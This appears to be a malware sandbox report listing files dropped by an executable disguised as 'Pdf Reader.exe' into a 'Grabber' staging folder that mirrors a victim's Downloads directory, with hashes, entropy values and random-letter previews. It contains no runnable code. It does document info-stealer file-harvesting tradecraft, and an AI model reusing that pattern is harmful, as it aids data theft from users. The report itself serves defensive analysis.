Preview:	HTAGVDFUIELGZFCTZZGRSQISCXMOKSCAZEJVAPBPJKABIZKEGFAGMGOIUPHPJOYIWMVIKWCNUOWDMGCFXJQANMMOULIVTQQGUZVVOLZWBYTHYOHMMVIMTTBBCAIGONNRVEUMTCTCEMTWFNDSQPHEPLAFZAKYSROZKRQDUZOUZIKJGJRIBJODHOULJHWQBIJSAIYMXLFOSFOEFKTQPEEWFTFCIFSLHXSXYXBWTPCWMCGPETOSVLNKYCONFWCIUFEQKOWQNQKJSIZKNZXOQWMTJOGWDBUFBKDXUPYYIXUTOPSOVWLVKIOKFPSXDAVMBUZIYYZUQTDLZIMRRGXLTOEJMFWLOMNPNLICPZPKTHPXELGBYTJLOJOEWNRDNMXXRYMAJBWCTNMBREIJDVVIXEHEGYQKZQCGLVHOCMUSKXCQQMURLYKWUIUMFSGYMZUQXCTZOKQYXJAUDEVTSOOQUKZKKEEOANGSIIWTUVEGHTCOTXCDTCZIFUAWDLWKDNQTUAXBCRBKEGHCEPWTXOQVBWKIXLQEUCHHRHMKWOVVBFOLNUHSLLMHOOFDQCOVQVCNKKYOGNPYFHMPHXNPOTANYIGKSXGYDKBAEAYCNSDEQRTDZXKUOIUOHOMJPCCDXHJTXLKPCLAKLUNDAFZVUXKBSBAWUIBEQFANHTKLDXHBVLMBIXZUPHFUIHTECGPPEITWIRPTQHJDDRMAQERQMDOELBOQSEMMMCCUPQVDZXOFFYQSEIDXDPFNKRGYVUDDHHQGPRFUFAJOKTJSGMHWRXPZFPTHUACEOFEZUYOSJGJLFUTHTDWBPUETPFOWWTNVGDPCHGGCYSORPYRNRZVFDIQZLGVXSZLKMPDVKQURMLSZDDXVNBPXKBLQIKBTAWLYTZWTFUNWLSZPWUWBVBXUJMBCFHPMBIRGLQAWDQTJEHKOGMUTEILXROVHXNUORTTYMCMDGNZYCCCTIABCKYPUCGPPUUSBWLIPYZKIMRHFVZCGDPKZ

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Downloads\JSDNGYCOWY.jpg

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690895772725941
Encrypted:	false
SSDEEP:	24:ZTWQe0oC6OG/K8Vsypd0HuXw0xVfU/Vzv98UU:ZTWQr2VyXysHIwcGKUU
MD5:	A002E80B55673139253599B753BDC01A
SHA1:	6AEEF831A5AAB9155AAABB52D173859E20A86932
SHA-256:	F3484FA4E615D7134AC1BF4C3355C6AD63B32AC3CD096345C5EBF6B0CE6669A0
SHA-512:	D4A9257255BA4610E904C005F6734E65D5B0B4489E645792F3AB52AFD59B4B76E4B0FCE1F3457D7E5D3DA3101DAAC80A926FA513B77DAB01F2DAC5F5C4304CA7
Malicious:	false
Preview:	JSDNGYCOWYHKSOWFGCIERRTFYJMLBLSAMTEZRBUWFRXYICIUHZNIMVLJXTFXQNXACRFWSEWJBERQHLEBPYXRECCWDJKIIOUGNYQMGAHSLOPLLALAEDDKJTOOCDGYIBOWZZREIEWSXQRGULZIXFYNIUMNTNALWVABHVLKEJLBKGOKXZWDSWRTTLTQLNTZDYMSECYMQISNCNIAJOWDCCMHWLIVFACQKZXXZJOSENBJHZELIVOCAHDNZGZILFSILTSAJXDBFAIPHVHXYHJHVMVHKVOMYOGGVIKVJUVYLDFTICBCZKSVRDRTALSXFNMCPLGOGSEBKXSHSHVDVDKWEHNIBLPTMWICAACVFWPQNIUVLFSAWPOGDJFOGTXDHMTFWREVZXCABJCKFYXJGAHKTXNFLIILTMBRTKACTMOVDBLCVYDVLNCDXAAINTGCCRZPDTOFCWZWTHLCVGRTQPEBHUFYWLTLNUIOFLOUTCINZEJUVLTZPPDBVDEELCGFQSGJPRJBEALQLZQAYAQRUTUANCYUZJENWEIISDNULLJXJUPBQHEJEUVMKMEUQRDHXPAZVIFDUGNWXKXYWIQQNJNRMYCLJLHWESVCNCQSXILKRQFSYEDZSBHSLAYIWWOVRVVSWUFEAQPMAPAKFCXFBDIPKHPSFGVOJCEEBALPVQKECBBUCTQGQXOQAPOOYAPYQXNDLKJDRFQDILPIWRGDYTFUHSZLJICMMUSSHGHNLKNEDYXJSPECVTAEQTVXATOODAVROWNAPCHDRRBHVDVWBGOSCJGDENAGFCYDIHAPBWLJNOPCQCPTSOHGQQMHEAKRBOBSEHAOMGXJVYWJGLSIQJUOMYPNZTOFVNNMRIVMHOCFZTLTEDAGEXGJXLNRLSHJQGFHIJDLJHOPPMFPYEIXPRQCTRDIYDJEHHSKFBRZMXLZJBDDOYCXQJBCBQFRXVCYCHXKGNDWEEUUKPAGVHHOXFZXZEWWCOVSFYZHILZJQQKFHCLR

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Downloads\KATAXZVCPS.jpg

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699548026888946
Encrypted:	false
SSDEEP:	24:pjU7tPjIpNf9XSXm/5eskkSAjuenNF0hE6mHPISZMqEv:pjU7xIpfXSipuenT0hvYIV
MD5:	A0DC32426FC8BF469784A49B3D092ADC
SHA1:	0C0EEB9B226B1B19A509D9864F8ADC521BF18350
SHA-256:	A381579322A3055F468E57EA1980A523CAF16ABFE5A09B46EC709E854E67AA01
SHA-512:	DAF85E375438A2A6CC261D75D672A9C43E80E6CB1BC1EAA1BDB7B798CDE22AEFD5A04AC1D10E6F24CDBB7F9EA0452F5CA790969C750B764B4B7F9E0C5B2A0731
Malicious:	false
Preview:	KATAXZVCPSXDNCRGTIEAHLTBMQUFAYSWEMLQOMHMIKPDECBCOYPMSTTHHPDKZNGFGWCNUUGIGXPEBWCPRKDGBOWPSNMTFYIHVYITPQGJYFOAJMWVQDHVSMYHPXFGNOURBBIVVVMRPWBBLQXUCAXUFAYRSTCKWXAAMKJJZILVYZNBPSMXAGXZDASFVGKBTHNGETLQIHPRIVPIVHVCSRDUBEGENZMHSYQLROJPZILEYZIFDADQNRGHABZNQMPQMEVKVERETAQUHUXWKYTSUKUXMTSIPUXJRNZOLPGLRSFBCHYWGMRDPLBUIIFHFUNFWRALBUPZLDJUHIMNWKMISYIKAQGSLGBWBFUXASKUFXDTLJAXOSBBQTQJNJAVJQLQEFEKRWWXRJNJSWYQQKPEAVJRUZGKJUAZLPHMOTXLNXAZINYPNPZNGRMVYVCYPPHKTYJCBWNURXFTCITKLDRSFMIHFZHIDPGLOTHCQFZZEHIEXWNNZRJQLWYMVUHTXHFFDTYBHDRBRNTPLBXPVFCUVAJOYOWRENFUXTSCNCCQJOSITCFTGJHFQCYISKUAVSRYASWVJRDNOYYCSYOZWHRPNSBWMHUUEYUGOXVSYKLFZAUQJZDVBEBHHGXQHZVJWNUGLSAYWIEHAJCPIOHOPCXKNVRISBGUAEMSYEGNPQXITRIIMXOLIJYUBIEQGZQUAHRWMKQHCRHKBJZQQXFYTNBHEJEWRPZRXZCXRJQVIUOATJAEYDILREREDIWFEMISEKZWNCDTIPTTOZXOZJIYMGKYIKXBLURVWBJHYFJCLGVVIMADULTTVZIOEIPMVJAOPSQCDFMYPSPGLBIQXTWTUZERGBDTCIRRVRTNGENXXRTHESXQFUQSRGUQDQWGTGXTSGDYWIQVOKABAIAJIEUVYCZXNYVKPRREMYAVDFDHWOGEKALUPBHOHENIHLFJZAHVTJIQJBKXOYIOELCIIECJBPTTASBEKGOESRDFBACPOTNMRZOG

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Downloads\KATAXZVCPS.xlsx

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699548026888946
Encrypted:	false
SSDEEP:	24:pjU7tPjIpNf9XSXm/5eskkSAjuenNF0hE6mHPISZMqEv:pjU7xIpfXSipuenT0hvYIV
MD5:	A0DC32426FC8BF469784A49B3D092ADC
SHA1:	0C0EEB9B226B1B19A509D9864F8ADC521BF18350
SHA-256:	A381579322A3055F468E57EA1980A523CAF16ABFE5A09B46EC709E854E67AA01
SHA-512:	DAF85E375438A2A6CC261D75D672A9C43E80E6CB1BC1EAA1BDB7B798CDE22AEFD5A04AC1D10E6F24CDBB7F9EA0452F5CA790969C750B764B4B7F9E0C5B2A0731
Malicious:	false
Preview:	KATAXZVCPSXDNCRGTIEAHLTBMQUFAYSWEMLQOMHMIKPDECBCOYPMSTTHHPDKZNGFGWCNUUGIGXPEBWCPRKDGBOWPSNMTFYIHVYITPQGJYFOAJMWVQDHVSMYHPXFGNOURBBIVVVMRPWBBLQXUCAXUFAYRSTCKWXAAMKJJZILVYZNBPSMXAGXZDASFVGKBTHNGETLQIHPRIVPIVHVCSRDUBEGENZMHSYQLROJPZILEYZIFDADQNRGHABZNQMPQMEVKVERETAQUHUXWKYTSUKUXMTSIPUXJRNZOLPGLRSFBCHYWGMRDPLBUIIFHFUNFWRALBUPZLDJUHIMNWKMISYIKAQGSLGBWBFUXASKUFXDTLJAXOSBBQTQJNJAVJQLQEFEKRWWXRJNJSWYQQKPEAVJRUZGKJUAZLPHMOTXLNXAZINYPNPZNGRMVYVCYPPHKTYJCBWNURXFTCITKLDRSFMIHFZHIDPGLOTHCQFZZEHIEXWNNZRJQLWYMVUHTXHFFDTYBHDRBRNTPLBXPVFCUVAJOYOWRENFUXTSCNCCQJOSITCFTGJHFQCYISKUAVSRYASWVJRDNOYYCSYOZWHRPNSBWMHUUEYUGOXVSYKLFZAUQJZDVBEBHHGXQHZVJWNUGLSAYWIEHAJCPIOHOPCXKNVRISBGUAEMSYEGNPQXITRIIMXOLIJYUBIEQGZQUAHRWMKQHCRHKBJZQQXFYTNBHEJEWRPZRXZCXRJQVIUOATJAEYDILREREDIWFEMISEKZWNCDTIPTTOZXOZJIYMGKYIKXBLURVWBJHYFJCLGVVIMADULTTVZIOEIPMVJAOPSQCDFMYPSPGLBIQXTWTUZERGBDTCIRRVRTNGENXXRTHESXQFUQSRGUQDQWGTGXTSGDYWIQVOKABAIAJIEUVYCZXNYVKPRREMYAVDFDHWOGEKALUPBHOHENIHLFJZAHVTJIQJBKXOYIOELCIIECJBPTTASBEKGOESRDFBACPOTNMRZOG

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Downloads\NWTVCDUMOB.jpg

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696250160603532
Encrypted:	false
SSDEEP:	24:5Gvoddnzj/gxR0e7uyJ9MLyy07KpRnPgNcnA+2/nSgTfK0Xzy:wv4zCR0ouAMG3wPgNuAZnSQXzy
MD5:	2B6A90B7D410E3A4E2B32C90D816B4FE
SHA1:	B8CD90C4CDCF41CBF18D88A4C01BBA22F670AD83
SHA-256:	D65D483904467EB7373EDA8DFAE2070C057FC93465A4AC5C9FEF8B42340D9DAB
SHA-512:	03AFBF42E5C04E928D03C687B0F17A0AB15428C78958B206DC6C50118B961C9DDF88A6E53B3115F09FDEE44EAFA46B262933164055532D3B4B4F9265F42A6C58
Malicious:	false
Preview:	NWTVCDUMOBTPRQQPHXQLIMGPJXTEMPBNYLBFKQFUEVGISJSVQRMPMZSAYEYQSOTUAJFILXLTKFEVHLSAMYEEFLNJSHLTTFXRTDNUGXEFIGVCAWPMDNUICDIZGPHMESKWSMUPNOFEVXFTSHSKLCVHQTNKDHDMDRJOUTEUSCAUAVMVBMOSYKKRPPZYFUGXFXWMWRACKFCQOUHITLUCHGFZEOIPNCJFJOVBZIKDRNERXOSPKSRMHKTJUGFEOONFWLVNTJWXUFPADWYIUDKAZQXCZRFPUQQAMRTIOEHUDTLGOWYMIDOZAXTLGVEGUCQLJZGMIEQYOLWEMSGZUBWXOIBQEMQLQVGRBTUICFCEJGFTZRZCKJQEMATEONIMJKBYGQYDYXOLLROWXGYCNCVPTMRZSMMSZXKMNPSCJJJKKNRAJXGSLZNKJRJRGMCCCBCIGTLTFKNVDVIHYLGRNXDVIVWBCPNKNIFJAPQQWDQQEDDKNHVJRQJTKCUADORWREEDYTVFAOWHPNXWSNAJCVXCLLTNQPMJQHDILFNQUZJZZJJMMNDNGEBEGSTVAGZJMSMZHWJKNIAFGBUYMVADKCVLDGFQETUZXGUOUWXBBPNOWFERKMKMPOXIOTKJERPVXJGCIUKAGDGITLFYRIBAPKRESMNOMTVTZCXMODUUIGFMEMBMGAGXFZGAAZFCXDWBKKCPUKFFNMVKDFFVZYWKEKBWMADWDZXUIOOLCLIACESGRBJRSMXKUSOKXJEICCPRFWSISDTKVTDVAYSWLRHTWJGCXQMNITQJHCBMSCDRWKMGADWILLATOPVPILEQQGAIPRRUCJFTRRSSWITQKIWJOATZOBETZDBBWAIJIOXCUQSILQHQKEZXWFWWNVEWKZCGFYPBDSDBSFAZDZFRHJBZIGOZCVUGODUTNCDHKKMFHSYKUSFSXOMOUXZYOSUZNJQBXAVPOBTVBINMSIPYONLYRKIHONKWHSUAJWIALOTZAQJSNTIH

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Downloads\ONBQCLYSPU.docx

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699434772658264
Encrypted:	false
SSDEEP:	24:Khfv+VFngw6i0t5Ut+l3kHwMDkhBlBAMFPxYaija:pvl6Pt5uQ3kQ0khBl1VxYpu
MD5:	02D3A9BE2018CD12945C5969F383EF4A
SHA1:	085F3165672114B2B8E9F73C629ADABBF99F178D
SHA-256:	6088E17DB4C586F5011BC5E16E8BF2E79C496EB6DAE177FF64D9713D39D500CA
SHA-512:	A126D98EE751D0FB768E4DB7D92CBC6AE7852FEE337B85ED045D871DB321C6C98FD58A244D058CA3F41348216C68CB4A37FA854980BB16D358AA62A932DD867E
Malicious:	false
Preview:	ONBQCLYSPUBDAQCIGYNWXHPENQNLJZGXCHXSNXZNCZBUHYDXPEMCJPAWYQSVHMGKHJUFFFYDAXDAHOLOAZEPTWZTWDGPFLXMMCXLCIIJOXMVRNMUMTICVHQSWNAGIYCQBOZZHONWWBXKDUJYBRPSLNFGTUIFTNGJEATOXKHEFMERAQZVBMQGKZUKXDBMGRJDOOGATZZKQMEZJRWZVAZRPQTVWPETCIMLPMYNWZLVLXRPUUKLNIMTYDNYIJTZEFJDNMWTOFFKRRINCRDCFGJAJNMYQHGXGVHVYPEUFBNUIGUVGBYQKIAJLIVACVIHEGZIYKSROURNGZSCTUKBKFFCGPXAONPDEBIZJRKCFYHATDXLXYKGLWXBCHJERCRNMKESIMBDNPMPBWXSVSEAAUEKEGUIJBZLAESAFZHMBLPPKMNTZAZIIYSHMWJBFTZZSKYNFJYSBRLGVHOWZUQHXUSSJESIEKHZLTLILMSMJZHXFWGJQNWQCDLXEWBZPGBTVDVCPPUFLFGNZRUKJOANJVXVTXLOQLFUIVEWTCBKOBYZMAOTIMQMJYRYLSOLSSACCLCFTVXCKKJDNWQAETNXHIOQCDTXLLVEQLNLGDIOULNFNNDXTVYYSPDWWZHDSYHBRXMUAAHJIGSGLSFKCGADPUAASYZFEZWHYDLQDUCHJXMNMTNCDCMNIJQCSGEQOGVGYBYPMTZBBFOACZMMKVFNELOMGSTCQUDRFKLFGOHOTZKZCWJWDRECGYETFYOWLYECGICMGUKZRVNHUQTLQLHUTPRZXBVYMPAFBLSWKSSKBGWCWBFEEZIAZUZGEYMYBSXYUCHEALFJRSGWQJMABNQHSZANDDTYMVJKXFFFDEENZAGRGVLHFELVOSGTXVOOPFGCQDSFWOYKKOYUHFWMXWPLHFIIPORMEJNOFYMJRBAZLYTIOKEFIWPDZUKMIWKLZXBOESUCXZXQSCMQKDKFBCHJMPMZHELLNSYYEJNBRRXVBMPD

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Downloads\UMMBDNEQBN.docx

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Downloads\UMMBDNEQBN.pdf

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Downloads\VLZDGUKUTZ.docx

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	false
Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Downloads\VLZDGUKUTZ.xlsx

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	false
Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\d7a2543bee7ea7d673cab97edaeab350\user@562258_en-CH\Grabber\DRIVE-C\Users\user\Downloads\WUTJSCBCFX.pdf

Download File

Process:	C:\Users\user\Desktop\Pdf Reader.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.688284131239007
Encrypted:	false
SSDEEP:	24:94BsLCi4I4Bpno3+PqX1T1MziEko3RYNdEK:alI4BjP4x9JGK
MD5:	E8ACCA0F46CBA97FE289855535184C72
SHA1:	059878D0B535AEE9092BF82886FC68DC816D9F08
SHA-256:	CFB1D698291CFF6EFE21CB913EDEB823FA6F84B5F437F61ED9E04C6A80CC4DCD
SHA-512:	185601B848EDE2A752D1DC0534A2593231C67AF68E506DD3BA05D93435780F378250B27898CBD61F225C5FE6AB72CD21638C6159FC2D107767D2AB43547E0E71
Malicious:	false
